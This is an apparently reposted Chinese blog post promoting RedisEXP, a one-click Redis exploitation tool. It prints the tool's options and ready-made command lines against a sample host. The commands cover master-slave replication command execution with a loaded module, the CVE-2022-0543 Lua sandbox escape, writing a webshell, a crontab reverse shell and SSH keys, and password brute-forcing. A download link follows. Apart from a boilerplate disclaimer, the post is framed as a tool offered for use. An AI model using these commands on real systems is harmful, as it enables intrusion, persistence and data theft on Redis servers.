【实用工具 | 附下载 】 RedisEXP 一键利用Tools支持CVE-2022-0543等 ·····

admin 2023年2月13日01:18:41评论84 views字数 1890阅读6分18秒阅读模式

免责声明

 

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

0x01 工具介绍

Redis 漏洞利用工具。

λ RedisEXP.exe -h
██████╗ ███████╗██████╗ ██╗███████╗    ███████╗██╗  ██╗██████╗██╔══██╗██╔════╝██╔══██╗██║██╔════╝    ██╔════╝╚██╗██╔╝██╔══██╗██████╔╝█████╗  ██║  ██║██║███████╗    █████╗   ╚███╔╝ ██████╔╝██╔══██╗██╔══╝  ██║  ██║██║╚════██║    ██╔══╝   ██╔██╗ ██╔═══╝██║  ██║███████╗██████╔╝██║███████║    ███████╗██╔╝ ██╗██║╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚═╝
Usage of RedisEXP.exe:  -brute        爆破 Redis 密码  -c string        执行命令 (default "whoami")  -cli        执行 Redis 命令  -console        使用交互式 shell  -crontab        Linux 定时任务反弹 Shell (crontab.txt)  -exec        主从复制-命令执行  -lfile string        需要上传的文件名  -lhost string        本地 IP  -lport string        本地端口 (default "21000")  -lua        Lua沙盒绕过命令执行 CVE-2022-0543  -pwd string        设置密码  -pwdf string        设置密码字典  -rfile string        保存在目标的文件名  -rhost string        目标 IP  -rpath string        保存在目标的目录 (default ".")  -rport string        目标端口 (default "6379")  -shell        备份写 Webshell (shell.txt)  -show        工具利用命令帮助  -slaveof        关闭主从复制  -so string        设置 exp.dll | exp.so (default "exp.dll")  -ssh        Linux写 SSH 公钥 (ssh.txt)  -upload        主从复制-文件上传

 

【实用工具 | 附下载 】 RedisEXP 一键利用Tools支持CVE-2022-0543等 ·····

 

0x02 安装与使用

常用命令:

主从复制命令执行:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -execRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console
Linux:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.soRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so
主从复制文件上传:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload
主动关闭主从复制:RedisExp.exe -rhost 192.168.211.131 -slaveof
Lua沙盒绕过命令执行 CVE-2022-0543:RedisExp.exe -rhost 192.168.211.131 -lua -console
备份写 Webshell:RedisExp.exe -rhost 192.168.211.131 -shell
Linux 写计划任务:RedisExp.exe -rhost 192.168.211.131 -crontab
Linux 写 SSH 公钥:RedisExp.exe -rhost 192.168.211.131 -ssh
爆破 Redis 密码:RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt
执行 Redis 命令:RedisExp.exe -rhost 192.168.211.131 -cli

0x03 项目链接下载

链接:https://pan.baidu.com/s/112DP5vJ6VQtMtZgb6Kt8Sw
提取码:Xiao --来自百度网盘超级会员V6的分享

原文始发于微信公众号(渗透Xiao白帽):【实用工具 | 附下载 】 RedisEXP 一键利用Tools支持CVE-2022-0543等 ·····

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月13日01:18:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实用工具 | 附下载 】 RedisEXP 一键利用Tools支持CVE-2022-0543等 ·····http://cn-sec.com/archives/1545309.html

发表评论

匿名网友 填写信息